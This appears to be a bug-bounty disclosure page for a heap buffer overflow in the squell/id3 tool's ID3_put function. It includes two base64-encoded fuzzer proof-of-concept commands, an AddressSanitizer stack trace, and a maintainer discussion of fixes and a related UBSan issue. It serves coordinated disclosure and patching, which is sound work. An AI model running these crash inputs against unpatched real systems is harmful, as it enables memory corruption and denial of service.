Heap-based Buffer Overflow in squell/id3

Valid

Reported on

Jun 4th 2021


✍️ Description

Archive.org is a worthy cause to support. 👍 During testing of id3 compiled from commit a899ea with Clang 13+ASan on Ubuntu 20.04.2, we discovered a payload which triggers a heap-buffer-overflow in ID3_put. This particular bug was found using the AFL fuzzer.

🕵️‍♂️ Proof of Concept

echo "H4sICLEmumAAA2ZpbGUuZnV6egDt2iESgkAUxvEHXoQZj8AFDBS6gcqM0aZ2DuBgMnkBk1aDBg1a
vJOSxYC6y9td/7/I7Lz3BWbZB+RZOhCRKJ6Ni6IQSYYi8bSUUhJZyFx2APBXqmZL1Ou+12vto9pw
vZXheqGrHtoJ8LWtdoC2o3aA3121AwBAJ5x24aHDJ4tPtlLAR57dDnX70uTtln2zHOTV2XL9xFil
5hnHnGrAuu+GUd8NHaV7SguF7Q0LAIKVZ6l2BADoR9VxHXMKLBFGv25G2gEAZy21AwBwmLnPLQAC
whgcrotu+7tuewCAo3r/5ShskTvvkjfaAQCvPQGyl+5EwEEAAA==" | base64 -d > /tmp/file.fuzz.gz && gzip -d /tmp/file.fuzz.gz && ./id3 -v -u /tmp/file.fuzz

The ./id3 -v -u file.fuzz command line produces this stack trace:

==1814947==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x621000004d00 at pc 0x000000524c6b bp 0x7fff2ab24410 sp 0x7fff2ab24408
WRITE of size 1 at 0x621000004d00 thread T0
    #0 0x524c6a in ID3_put /root/id3/id3v2.c
    #1 0x50f058 in (anonymous namespace)::writer::put(char const*, void const*, unsigned long) /root/id3/setid3v2.cpp:77:24
    #2 0x50f058 in tag::write::ID3v2::vmodify(char const*, stredit::function const&) const /root/id3/setid3v2.cpp:325:25
    #3 0x5369af in tag::writer::modify(char const*, stredit::function const&) const /root/id3/./set_base.h:65:14
    #4 0x5369af in tag::combined<tag::handler>::vmodify(char const*, stredit::function const&) const /root/id3/./setgroup.h:108:32
    #5 0x5369af in tag::write::file::vmodify(char const*, stredit::function const&) const /root/id3/setfname.cpp:62:40
    #6 0x4ee72d in tag::writer::modify(char const*, stredit::function const&) const /root/id3/./set_base.h:65:14
    #7 0x4ee72d in fileexp::mass_tag::file(char const*, fileexp::record const&) /root/id3/mass_tag.cpp:169:23
    #8 0x4d9a1c in verbose::file(char const*, fileexp::record const&) /root/id3/main.cpp:217:24
    #9 0x4e2cf6 in fileexp::filefind::nested(auto_dir, char*, char*) /root/id3/fileexp.cpp
    #10 0x4e1b31 in fileexp::find::glob(char const*, bool) /root/id3/fileexp.cpp:63:14
    #11 0x4d33e2 in process_(fileexp::find&, char**, bool) /root/id3/main.cpp:339:19
    #12 0x4d33e2 in main_(int, char**) /root/id3/main.cpp:585:24
    #13 0x4d60fb in main /root/id3/main.cpp:631:16
    #14 0x7f1f21ebe0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #15 0x41e9cd in _start (/root/id3/id3+0x41e9cd)

0x621000004d00 is located 0 bytes to the right of 4096-byte region [0x621000003d00,0x621000004d00)
allocated by thread T0 here:
    #0 0x499f0d in malloc (/root/id3/id3+0x499f0d)
    #1 0x50d13c in (anonymous namespace)::writer::init(unsigned long, ID3VER) /root/id3/setid3v2.cpp:47:43
    #2 0x50d13c in tag::write::ID3v2::vmodify(char const*, stredit::function const&) const /root/id3/setid3v2.cpp:311:13
    #3 0x5369af in tag::writer::modify(char const*, stredit::function const&) const /root/id3/./set_base.h:65:14
    #4 0x5369af in tag::combined<tag::handler>::vmodify(char const*, stredit::function const&) const /root/id3/./setgroup.h:108:32
    #5 0x5369af in tag::write::file::vmodify(char const*, stredit::function const&) const /root/id3/setfname.cpp:62:40
    #6 0x4ee72d in tag::writer::modify(char const*, stredit::function const&) const /root/id3/./set_base.h:65:14
    #7 0x4ee72d in fileexp::mass_tag::file(char const*, fileexp::record const&) /root/id3/mass_tag.cpp:169:23
    #8 0x4d9a1c in verbose::file(char const*, fileexp::record const&) /root/id3/main.cpp:217:24
    #9 0x4e2cf6 in fileexp::filefind::nested(auto_dir, char*, char*) /root/id3/fileexp.cpp
    #10 0x4e1b31 in fileexp::find::glob(char const*, bool) /root/id3/fileexp.cpp:63:14
    #11 0x4d33e2 in process_(fileexp::find&, char**, bool) /root/id3/main.cpp:339:19
    #12 0x4d33e2 in main_(int, char**) /root/id3/main.cpp:585:24
    #13 0x4d60fb in main /root/id3/main.cpp:631:16
    #14 0x7f1f21ebe0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: heap-buffer-overflow /root/id3/id3v2.c in ID3_put

💥 Impact

This vulnerability is capable of crashing the application, causing data or memory corruption and possibly allowing for arbitrary code execution along with any other unintended consequences of writing past the end of the buffer.

Occurences

Marc
6 months ago

Maintainer


This almost feels like a duplicate of the previous issue. The fix for that also causes this file.fuzz to be rejected.

Marc R. Schoolderman validated this vulnerability 6 months ago
Geeknik Labs has been awarded the disclosure bounty
The fix bounty is now up for grabs
Marc R. Schoolderman confirmed that a fix has been merged on f0a8e2 6 months ago
Marc R. Schoolderman has been awarded the fix bounty
Geeknik Labs
6 months ago

Researcher


Hello, I just compiled from commit f0a8e2 and the following POC re-triggers this heap-buffer-overflow in ID3_put using the ./id3 -v -u command line.

echo "H4sICGS9vGAAA2ZpbGUuZnV6egDt2TFqAkEYhuHP9QIeQfAE4hVs7IVMK1iGNGq/zbbewICpREEQ
U1nkBJbWXkUtxVJn98uO73OAn5dpZph/0O81JTWyyTCEILU7UvY5kr66GqmtmabaonLKLxd3AwAY
nVPnPuDnHdwBNVMURaRJy0hzSrZyB8DpIwR3QhQ7dwDurN0BqCMpdydUR8rm7gY82LsDUJUxP6Z+
3+4AAACA5LXcAQDqb+MOKMOfOwBeunE3AAAiS3Ut/VZ70zTkvDMA/CtcI/A5ugPS8usOAFALDXcA
qrFwB7zixx1QnpM7AFFdAZq7POmyQQAA" | base64 -d > /tmp/file.fuzz.gz && gzip -d /tmp/file.fuzz.gz

Geeknik Labs
6 months ago

Researcher


Undefined Behavior Sanitizer spits this out right before the heap-buffer-overflow occurs: char_ucs.cpp:52:44: runtime error: left shift of negative value -82

Marc
6 months ago

Maintainer


Jup. Thanks!

Marc
6 months ago

Maintainer


Note: the Ubsan issue is unrelated from the ASan issue and is quite low severity (if at all); but a decent catch. Now diving into the ASan thing again since it's clearly not fully fixed.

Marc
6 months ago

Maintainer


The Asan issue is a well-hidden off-by-one error, fixed in commit 0de713ee8. Note that you found two issues here, not sure if the left-shift is a seperate CWE, but we may just have cheated ourselves out of more bounty. ;-)

Geeknik Labs
6 months ago

Researcher


Alignment issues aren't usually a security issue, though over the years some libraries have received CVE for them, especially if the issue can be used to trigger a remote crash. It would probably fall under CWE-189 if anything, but in this case since it wasn't connected to the buffer overflow, I don't believe it had any kind of real world implications.

Marc
6 months ago

Maintainer


Indeed the changes in commit 8077446b (which addresses the ubsan trigger) don't seem to affect the actual assembly code produced. Still, academic problems interest me too---especially given a lot of this codebase predates stuff like asan/ubsan and afl, and all issues found so far would be unlikely to have be found without them.